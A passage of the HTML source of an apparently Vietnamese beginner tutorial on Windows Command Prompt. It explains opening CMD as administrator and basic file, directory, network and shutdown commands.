href="#m%E1%BB%9F-c%E1%BB%ADa-s%E1%BB%95-cmd-v%E1%BB%9Bi-quy%E1%BB%81n-admin" aria-label="mở cửa sổ cmd với quyền admin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mở cửa sổ CMD với quyền Admin</h3> <p>Để mở cửa sổ CMD với quyền Admin, đầu tiên bạn làm giống <strong>cách 1</strong> của phần <strong>Mở cửa sổ CMD tại vị trí thư mục gốc</strong>.</p> <p>Sau đó, thay vì click vào <strong>cmd.exe</strong> thì bạn click <strong>chuột phải</strong> và chọn <strong>Run as administrator</strong>, rồi chọn <strong>OK</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 405px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 130.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAaCAIAAAA44esqAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC/0lEQVQ4y52Uy2/bNhzH9f/fd9llhy7vLGiQNgW29rChSFEsi2PrQepBWpQsWbJFitTLlmyZg6w1tb0EC/bFF7x98HtTubu7MwygapqqapqmmxCapgkhBABsH2B00nVdhxCaW0MAbNu+urpSHOSVSxknVVa2PF/JV6htWynl7e2t8jhSf/nwx+8D7/PQcwKOQ4FCjqcZnore4yg7MArTaS5/+PEnRTOsEYQPOh5ozjyeYYy/fP0zniUpFyzl/XtgSlmxaK7e3iiWZUsp181iUVVfdM0m06GORgYeas5As0cATWkZp9Wuw6Qo683H335VLMvq6thsqnr14S8AkKep+lA17u8HD4ORAW3GM5pymoonz2laN+t3798rpmlu2U3TNH40D8PQBJAxljLGGE0ZE5zvOhMijqPlcnFz8+47vGqaPC+mYahruuOglIuiKESWpfsSQkRRtFgur6+vFQhhD9d14xPNJ64FTQgAQggjFEVxlv+joiiyLOOcJ0myXq8vLi4U8A1erVZvP9/j8diEpgmt0XD4OHhUVdV1CSEEY4wR9jyf867bbduen59/h5vV6gHNiEuAAUwA1KHqed7E94lLiEtcd4wc5E8mW5geRm6apsp5GASWZZsQPg4G47Gb50VVVQdp9/Dl5eUezNLUI56maYZhaKqqqzohxPd9SulTw3q4bduzszMFAPAEp2k6i2OEkOcR13WDycR1u2oppUII/k09fHJyogAAd+FoOoUQTvxJnudCiCzrms131I+qruttww4iz2ZhGPbpvSRK6WbTvnnz8x7MOQ+CwEF4N8ln4bZtT09Pn4mMHIcy9p9wXzM4qNnQ9SShRVH0Zb8EHx0dHcJxHGOECPHCMOiH9G/+xVFF0RQ5jjt2Mca2ZScJzbJM7Iuxbj2Pj4/3YMZYGITAMIAB5vMkL/L0OfWHsdewtm2rqirLkndHm5VFUZXVs8rzXErZwf1J9h/iK7Ver6WU3W4bhvH/4O6qLNveSLlYLpd1/UpXi4WU8uOnT38DPPSRZB8Xyf4AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Khởi động CMD windows với quyền admin" title="Khởi động CMD windows với quyền admin" src="/static/34c6574ebbafb30cd4db7b7d3d6e4458/b6699/khoi-dong-cmd-windows-quyen-admin-completejavascript.com_.png" srcset="/static/34c6574ebbafb30cd4db7b7d3d6e4458/103f2/khoi-dong-cmd-windows-quyen-admin-completejavascript.com_.png 165w, /static/34c6574ebbafb30cd4db7b7d3d6e4458/748ba/khoi-dong-cmd-windows-quyen-admin-completejavascript.com_.png 330w, /static/34c6574ebbafb30cd4db7b7d3d6e4458/b6699/khoi-dong-cmd-windows-quyen-admin-completejavascript.com_.png 405w" sizes="(max-width: 405px) 100vw, 405px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Kết quả là CMD hiện lên với vị trí mặc định là: <em><strong>C:\Windows\system32</strong></em></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+ElEQVQoz52RUWqDQBCGJ4vdiqKsuFp0m4KgEvEK3sALtT2AlC0p1VBdG6tvfcgWeoOcrTSiL3kRv6f5Yf75hxl4fHrm/FVKKU+y74evvhNCNKIRQlRVtd+/FUXxcoFzXpblMAzfp5/fj/dze4A8z5MkCcMw2e3SNI2jiDEWBEEURYQQ0zTpBcuyHMfBGCuKgjFGys2hbiDLMlVVdV3XNM0wDIQQXLGZmCUAHI+fEMfxrBcyNnddB77PrmcvMQshgLH7dclt24Lr3q0z/yd7ng8ACKHNYsajjmZv/drb7YOq3o7PdCboxFzblNq2TSl1XZdSSgip6/oPYbxA/CYleEoAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả khởi động CMD windows với quyền admin" title="Kết quả khởi động CMD windows với quyền admin" src="/static/d314b9bae47fca9abacf9ca22e2ae490/7c811/khoi-dong-cmd-windows-quyen-admin-ket-qua-completejavascript.com_.png" srcset="/static/d314b9bae47fca9abacf9ca22e2ae490/103f2/khoi-dong-cmd-windows-quyen-admin-ket-qua-completejavascript.com_.png 165w, /static/d314b9bae47fca9abacf9ca22e2ae490/748ba/khoi-dong-cmd-windows-quyen-admin-ket-qua-completejavascript.com_.png 330w, /static/d314b9bae47fca9abacf9ca22e2ae490/7c811/khoi-dong-cmd-windows-quyen-admin-ket-qua-completejavascript.com_.png 660w, /static/d314b9bae47fca9abacf9ca22e2ae490/3c503/khoi-dong-cmd-windows-quyen-admin-ket-qua-completejavascript.com_.png 677w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trên đây là một số cách để mở CMD trên Windows 7. Tiếp theo, mình sẽ giới thiệu với bạn các câu lệnh thường dùng trên CMD.</p> <h2 id="các-câu-lệnh-thường-dùng-trên-cmd" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-th%C6%B0%E1%BB%9Dng-d%C3%B9ng-tr%C3%AAn-cmd" aria-label="các câu lệnh thường dùng trên cmd permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh thường dùng trên CMD</h2> <h3 id="các-câu-lệnh-về-thư-mục-và-tập-tin" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-v%E1%BB%81-th%C6%B0-m%E1%BB%A5c-v%C3%A0-t%E1%BA%ADp-tin" aria-label="các câu lệnh về thư mục và tập tin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh về thư mục và tập tin</h3> <h4 id="in-ra-tên-đường-dẫn-hiện-tại" style="position:relative;"><a href="#in-ra-t%C3%AAn-%C4%91%C6%B0%E1%BB%9Dng-d%E1%BA%ABn-hi%E1%BB%87n-t%E1%BA%A1i" aria-label="in ra tên đường dẫn hiện tại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>In ra tên đường dẫn hiện tại</h4> <p>Có 2 câu lệnh giúp in ra đường dẫn đến vị trí hiện tại đang đứng:</p> <ul> <li>Câu lệnh <code>cho %CD%</code></li> <li>Hoặc <code>cd</code></li> </ul> <h4 id="xoá-màn-hình" style="position:relative;"><a href="#xo%C3%A1-m%C3%A0n-h%C3%ACnh" aria-label="xoá màn hình permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá màn hình</h4> <p>Để xoá màn hình CMD bạn có thể sử dụng lệnh: <code>cls</code></p> <h4 id="dir-directory" style="position:relative;"><a href="#dir-directory" aria-label="dir directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>dir (directory)</h4> <p>Hiển thị danh sách các tập tin và thư mục trong thư mục hiện tại bạn đang đứng. Mặc định, lệnh này sẽ không in ra các tập tin và thư mục ẩn.</p> <p>Để in ra danh sách tất cả các tập tin và thư mục (bao gồm những thành phần không bị ẩn và bị ẩn) bạn chỉ cần thêm tuỳ chọn <code>/a</code>. Câu lệnh trên trở thành: <code>dir /a</code>.</p> <p>Ngoài ra bạn có thể sử dụng một số tuỳ chọn khác như:</p> <ul> <li>Chỉ in ra thành phần bị ẩn: <code>dir /a:h</code></li> <li>Chỉ in ra thư mục (cả bị ẩn lẫn không bị ẩn): <code>dir /a:d</code></li> <li>Chỉ in ra thư mục bị ẩn: <code>dir /a:hd</code></li> </ul> <h4 id="cd-change-directory" style="position:relative;"><a href="#cd-change-directory" aria-label="cd change directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>cd (change directory)</h4> <p>Tương tự như trên Ubuntu, câu lệnh này dùng để thay đổi vị trí thư mục hiện tại – di chuyển đến vị trí thư mục khác. Một số cách khác nhau khi sử dụng lệnh <code>cd</code> là:</p> <ul> <li><code>cd .</code>: đứng nguyên ở thư mục hiện tại</li> <li><code>cd ..</code>: di chuyển đến thư mục cha của thư mục hiện tại</li> <li><code>cd /</code>: di chuyển đến thư mục gốc của ố đĩa hiện tại (ví dụ: C:\ hoặc D:,...)</li> <li><code>cd &#x3C;tên thư mục con></code>: di chuyển đến thư mục con bên trong thư mục hiện tại</li> <li><code>cd &#x3C;đường dẫn đến thư mục></code>: di chuyển đến thư mục với đường dẫn là đường dẫn cho trước.</li> </ul> <p><strong>Chú ý:</strong></p> <ul> <li>Để thay đổi vị trí đến ổ đĩa khác với hiện tại thì bạn cần thêm tuỳ chọn <code>/D</code> phía trước đường dẫn muốn tới. Ví dụ: bạn đang ở một vị trí trên ổ C và muốn đến một vị trí khác trên ổ D thì bạn có thể dùng câu lệnh: <code>cd /D D:\&#x3C;đường-dẫn-thư-mục-bất-kì></code>.</li> <li>Ngoài ra, để di chuyển sang root của một ổ đĩa, bạn có thể sử dụng câu lệnh <code>&#x3C;Chữ-cái-tên-ổ-đĩa>:</code>. Ví dụ: <code>E:</code></li> </ul> <h4 id="copy" style="position:relative;"><a href="#copy" aria-label="copy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>copy</h4> <p>Dùng để sao chép tập tin hay thư mục đến một vị trí bất kỳ.</p> <ul> <li><code>copy &#x3C;tên file nguồn> &#x3C;tên file đích></code>: tạo file đích là bản copy của file nguồn trong cùng một thư mục (tên file đích phải khác tên file nguồn).</li> <li><code>copy &#x3C;tên file nguồn> &#x3C;tên thư mục></code>: dùng để copy một tập tin vào một thư mục</li> <li><code>copy &#x3C;tên file nguồn 1> + &#x3C;tên file nguồn 2> + ... + &#x3C;tên file nguồn n> &#x3C;tên thư mục đích></code>: copy các file nguồn 1, file nguồn 2,..., file nguồn n vào thư mục đích</li> <li><code>copy &#x3C;tên thư mục nguồn> &#x3C;tên thư mục đích></code>: copy toàn bộ file trong thư mục nguồn đến thư mục đích</li> </ul> <p><strong>Chú ý:</strong></p> <ul> <li>Bạn có thể sử dụng <em>wildcard</em> để copy nhiều file có định dạng cho trước. Ví dụ: mình cần copy các file bắt đầu bằng chữ <em>b</em> vào thư mục <em>folder1</em> thì câu lệnh sẽ là: <code>copy b* folder1</code>.</li> </ul> <h4 id="move" style="position:relative;"><a href="#move" aria-label="move permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>move</h4> <p>Dùng để di chuyển tập tin đến một thư mục mới và có thể đổi tên tập tin đó.</p> <ul> <li><code>move &#x3C;tên file nguồn> &#x3C;tên thư mục đích \ tên file đích></code>: di chuyển file nguồn đến thư mục đích đồng thời đổi tên file nguồn.</li> <li><code>move &#x3C;tên file nguồn> &#x3C;tên thư mục đích></code>: di chuyển tập tin đến thư mục đích và không đổi tên.</li> </ul> <h4 id="del-delete" style="position:relative;"><a href="#del-delete" aria-label="del delete permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>del (delete)</h4> <p>Dùng để xoá một hay nhiều file</p> <ul> <li><code>del &#x3C;tên file 1> &#x3C;tên file 2> &#x3C;tên file 3> ... &#x3C;tên file n></code>: xoá file 1, file 2, file 3,..., file n trong thư mục hiện tại</li> <li><code>del &#x3C;tên thư mục đích></code>: xoá tất cả các file trong thư mục đích (thư mục đích không bị xoá)</li> <li><code>del &#x3C;đường dẫn file 1> &#x3C;đường dẫn file 2> ... &#x3C;đường dẫn file n></code>: xoá các file tương ứng với các đường dẫn cho trước</li> </ul> <h4 id="rd-remove-directory" style="position:relative;"><a href="#rd-remove-directory" aria-label="rd remove directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>rd (remove directory)</h4> <p>Dùng để xoá một hay nhiều thư mục, kể cả các file và thư mục con.</p> <ul> <li><code>rd &#x3C;tên thư mục 1> &#x3C;tên thư mục 2> ... &#x3C;tên thư mục n></code>: xoá các thư mục rỗng 1, 2, ..., n</li> <li><code>rd /S &#x3C;tên thư mục 1> &#x3C;tên thư mục 2> ... &#x3C;tên thư mục n></code>: xoá các thư mục 1, 2, ..., n, kể cả các file và thư mục con.</li> </ul> <h4 id="md-make-directory" style="position:relative;"><a href="#md-make-directory" aria-label="md make directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>md (make directory)</h4> <p>Dùng để tạo mới một hay nhiều thư mục.</p> <ul> <li><code>md &#x3C;tên thư mục 1> &#x3C;tên thư mục 2> ... &#x3C;tên thư mục n></code>: tạo mới thư mục rỗng 1, 2, ..., n</li> </ul> <h4 id="tạo-file-mới" style="position:relative;"><a href="#t%E1%BA%A1o-file-m%E1%BB%9Bi" aria-label="tạo file mới permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo file mới</h4> <p>Để tạo file mới bằng CMD bạn có thể làm theo một trong hai các cách sau:</p> <ul> <li><code>type nul > &#x3C;tên file></code></li> <li><code>echo nul > &#x3C;tên file></code></li> </ul> <p>Hai câu lệnh trên thực chất là để ghi giá trị <strong>nul</strong> vào file mới. Nhưng vì file mới này chưa tồn tại nên Windows sẽ tự động tạo file này.</p> <h4 id="help" style="position:relative;"><a href="#help" aria-label="help permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>help</h4> <p>Dùng để hiển thị hướng dẫn các câu lệnh: <code>help &#x3C;tên câu lệnh></code>, tương tự như lệnh <strong>man</strong> trên Ubuntu.</p> <p>Ví dụ: <em>help copy</em>, <em>help md</em>,…</p> <h3 id="các-câu-lệnh-về-thông-tin-hệ-thống-và-mạng" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-v%E1%BB%81-th%C3%B4ng-tin-h%E1%BB%87-th%E1%BB%91ng-v%C3%A0-m%E1%BA%A1ng" aria-label="các câu lệnh về thông tin hệ thống và mạng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh về thông tin hệ thống và mạng</h3> <h4 id="ipconfig" style="position:relative;"><a href="#ipconfig" aria-label="ipconfig permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ipconfig</h4> <p>Hiển thị danh sách các thiết bị mạng trên máy tính. Qua đó, bạn có thể biết được địa chỉ IP hiện tại của máy.</p> <h4 id="hostname" style="position:relative;"><a href="#hostname" aria-label="hostname permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>hostname</h4> <p>Hiển thị host name của máy.</p> <h4 id="ping" style="position:relative;"><a href="#ping" aria-label="ping permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ping</h4> <p>Kiểm tra tình trạng kết nối của mạng.</p> <ul> <li><code>ping &#x3C;địa chỉ host đích></code>: thông thường nhất là ping đến google, khi đó câu lệnh sẽ là: <strong>ping google.com</strong></li> <li><code>ping -t &#x3C;địa chỉ host đích></code>: ping cho đến khi mạng bị đứt kết nối thì mới dừng lại</li> <li><code>ping 127.0.0.1</code>: kiểm tra xem TCP/IP đã được cài đặt và configure chính xác hay chưa</li> <li><code>ping &#x3C;địa chỉ ip của máy tính></code>: kiểm tra xem máy tính đã kết nối vào mạng local hay chưa</li> </ul> <h4 id="shutdown" style="position:relative;"><a href="#shutdown" aria-label="shutdown permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>shutdown</h4> <p>Hẹn thời gian tắt hoặc khởi động lại máy.</p> <ul> <li><code>shutdown -s -t [a]</code>: tắt máy.</li> <li><code>shutdown -r -t [a]</code>: khởi động máy.</li> </ul> <p>Trong đó: a là thời gian tắt hoặc mở máy được tính theo đơn vị giây.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 